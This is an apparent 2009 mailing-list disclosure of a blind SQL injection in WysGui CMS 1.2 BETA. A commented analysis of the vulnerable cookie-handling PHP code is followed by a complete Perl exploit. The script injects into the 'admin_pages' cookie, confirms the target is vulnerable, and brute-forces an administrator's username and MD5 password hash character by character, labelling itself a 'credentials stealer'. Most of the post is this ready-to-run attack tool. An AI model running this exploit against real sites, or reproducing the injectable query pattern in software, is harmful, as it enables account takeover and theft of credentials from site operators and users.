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WysGui CMS 1.2 BETA(Insecure Cookie Handling)--Blind-sql-injection-exploit-->


From: y3nh4ck3r () gmail com
Date: Sun, 19 Apr 2009 23:03:51 -0600

#!/usr/bin/perl
#
#---------------------------------------------------------
#          WysGui CMS 1.2 BETA(cookie) BSQL
#---------------------------------------------------------
#   CMS INFORMATION:
#
#-->WEB: http://wysgui.com/
#-->DOWNLOAD: http://sourceforge.net/projects/wysgui/
#-->DEMO: http://wysgui.com/demo/
#-->CATEGORY: CMS / Portals
#-->DESCRIPTION: WysGui comes from two technical words: WYSIWYG and GUI.WYSIWYG,
#               (pronounced, Wizzy-Wig),tands for What You See Is What You Get...
#
#  CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: N/A
#-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT
#-->AFFECT VERSION: LAST = 1.2 BETA (Maybe <= ?)
#-->Discovered Bug date: 2009-04-20
#-->Reported Bug date: 2009-04-20
#-->Fixed bug date: Not fixed
#-->Info patch (????): Not fixed
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunailla, padres (y amigos xD) por su apoyo.
#----------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php
#
#It contents(¿?...LooooL)
#
#<?php
#//loading data for site tree.
#if(strlen($_COOKIE['admin_pages']))
#{
#       $admin_pages = explode(',',$_COOKIE['admin_pages']);<--------VULN--------|
#}
#else
#{
#       $admin_pages = array(
#                       'addPage', 
#                       'Edit Page', 
#                       'Delete Page', 
#                         ...);
#}
#?>
#
#Then...
#
#Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php
#
#It contents:
#                               ...
#                               
#                               if( $i>1 ){
#                                       $order.= ' `page` = "'.$admin_pages[$i].'",';
#                               }
#                               ...
#
#                               $allPages_select = 'SELECT * FROM `pagedata`
#                               WHERE '.$where.'<--------VULN--------|
#                               ORDER BY  '.$order;
#                               $allPages_query = mysql_query($allPages_select) or die($allPages_select);
#                               while($allPages_row = mysql_fetch_array($allPages_query))
#                               {...}
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#COOKIE --> admin_pages=about" AND 1=1 /*
#
#Return: about.php
#
#*******************************************************************
# ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
#*******************************************************************
#-------------------------------------------------------------------
#*******************************************************************
# GREETZ TO: JosS and all SPANISH Hack3Rs community!
#*******************************************************************
#
#-------------------EOF---------------------------------->>>ENJOY IT!
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
        my $SO = $^O;
        my $linux = "";
        if (index(lc($SO),"win")!=-1){
                $linux="0";
        }else{
                $linux="1";
        }
        if($linux){
                system("clear");
        }
        else{
                system("cls");
                system ("title WysGui CMS 1.2 BETA (Insecure Cookie Handling) BLIND SQL Injection Exploit");
                system ("color 02");
        }
}
sub request {
        my $userag = LWP::UserAgent->new;
        $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
        my $request = HTTP::Request -> new(GET => $_[1]);
        $request->header(cookie => $_[0]);
        my $outcode= $userag->request($request)->as_string;
        return $outcode;
}
sub helper {
        print "\n\t[XxX] WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit\n";
        print "\t[XxX] USAGE MODE: [XxX]\n";
        print "\t[XxX] perl $0 [HOST] [PATH] [id]\n";
        print "\t[XxX] [HOST]: Web.\n";
        print "\t[XxX] [PATH]: Home Path.\n";
        print "\t[XxX] [id]: Id user. Default: 1 (**optional)\n";
        print "\t[XxX] Example: perl $0 'www.example.es' 'wysgui_1.2' '1'\n"; 
}
sub lengthuser{
#First, user length...
$exit=0;
$i=0;
while($exit==0){
my $insec_cookie='admin_pages=about" AND (SELECT length(user) from users WHERE ID='.$_[1].')='.$i++.' /*';
$output=&request($insec_cookie,$_[0]);
if ( $output =~ (/about.ico/))
{
$exit=1;
}
}

#Save column length
$lengthuser=$i-1;
print "\t-----------------------------------------------------------------\n";
print "\tUser Length catched!\n";
print "\tUser Length: ".$lengthuser."\n";
print "\tBruteforcing values...\n";
print "\t-----------------------------------------------------------------\n";
return $lengthuser;
}
sub bruteforcing {
#Getting datas
$j=1;
        $i=48;
        while(($j<=$_[2]) && ($i<=126)){
                my $insec_cookie='admin_pages=about" AND ascii(substring((SELECT '.$_[3].' FROM users WHERE 
ID='.$_[1].') FROM '.$j.' FOR 1))='.$i.' /*';
                $output=&request($insec_cookie,$_[0]);
                if ( $output =~ (/about.ico/))
                {
                        $values=$values.chr($i);
                        $j++;
                        $i=47;
                }
        if($i==57)
        {
                $i=96;
        }
#new char
        $i++; 
        }
#Error
        if(($i>127) || ($j>$_[2])){
                if(!$values){
                        print "\t-----------------------------------------------------------------\n";
                        print "\tEXPLOIT FAILED!\n";
                        print "\tFatal error: Datas doesn't find!\n";
                        print "\tCause: Maybe you have to include more characters on bruteforcing...\n";
                        print "\t-----------------------------------------------------------------\n";
                        exit(1);
                }
        }
        
return $values;
}
#Main
&lw;
        print "\t\t#########################################################\n\n";
        print "\t\t#########################################################\n\n";
        print "\t\t##  WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit  ##\n\n";
        print "\t\t##         ++Conditions: Need magic_quotes=off         ##\n\n";
        print "\t\t##                    Author: Y3nh4ck3r                ##\n\n";
        print "\t\t##            Contact:y3nh4ck3r[at]gmail[dot]com       ##\n\n";
        print "\t\t##                    Proud to be Spanish!             ##\n\n";
        print "\t\t#########################################################\n\n";
        print "\t\t#########################################################\n\n";
#Init variables
        my $host=$ARGV[0];
        my $path=$ARGV[1];
#Build the uri
        my $finalhost="http://".$host."/".$path."/admin.php";;
#Check all variables needed
$numArgs = $#ARGV + 1;
        if($numArgs<=1) 
        {
                &helper;
                exit(1);        
        }
#Id-user is optional.Default:1
        if(!$ARGV[2]){
                $idhacked="1";  
        }else{
                $idhacked=$ARGV[2];     
        }
#Testing blind sql injection
my $finalrequest = $finalhost;  
#Test blind sql injection
my $insec_cookie='admin_pages=about" AND 1=1 /*'; #injected cookie
$output=&request($insec_cookie,$finalrequest);
if ( $output =~ (/about.ico/))
{    
        print "\t-----------------------------------------------------------------\n";
        print "\tWeb is vulnerable!\n";
        print "\tTested Blind SQL Injection.\n";                
        print "\tChecking id user...\n"; 
        print "\t-----------------------------------------------------------------\n";
}else{ 
        print "\t-----------------------------------------------------------------\n";
        print "\tThis Web is not vulnerable!\n";
        print "\tMaybe patched or gpc_magic_quotes=off\n";
        print "\tEXPLOIT FAILED!\n";
        print "\t-----------------------------------------------------------------\n";
exit(1); 
}       
#Test if user exists
my $insec_cookie='admin_pages=about" AND (SELECT COUNT(*) from users WHERE ID='.$idhacked.') /*'; #injected cookie
$output=&request($insec_cookie,$finalrequest);
if ( $output =~ (/about.ico/))
{    
        print "\t-----------------------------------------------------------------\n";
        print "\tOK...The user exists!\n";              
        print "\tStarting exploit...\n"; 
        print "\t-----------------------------------------------------------------\n";
        print "\tWait several minutes...\n"; 
        print "\t-----------------------------------------------------------------\n";
}else{ 
        print "\t-----------------------------------------------------------------\n";
        print "\tUser doesn't exists!\n";               
        print "\tEXPLOIT FAILED!\n";
        print "\t-----------------------------------------------------------------\n";
exit(1); }      
#Bruteforcing user...
$length_user=&lengthuser($finalrequest,$idhacked);
$user=&bruteforcing($finalrequest,$idhacked,$length_user,'user');
print "\t-----------------------------------------------------------------\n";
print "\tGot user!\n";
print "\tBruteforcing password hash (md5)...\n";
print "\t-----------------------------------------------------------------\n";
$passhash=&bruteforcing($finalrequest,$idhacked,32,'pass'); #it isn't needed length
print "\n\t\t*************************************************\n";
print "\t\t****  EXPLOIT EXECUTED (CREDENTIALS STEALER) ****\n";
print "\t\t*************************************************\n\n";
print "\t\tUser-id:".$idhacked."\n";
print "\t\tUser:".$user."\n";
print "\t\tUser-password(hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done


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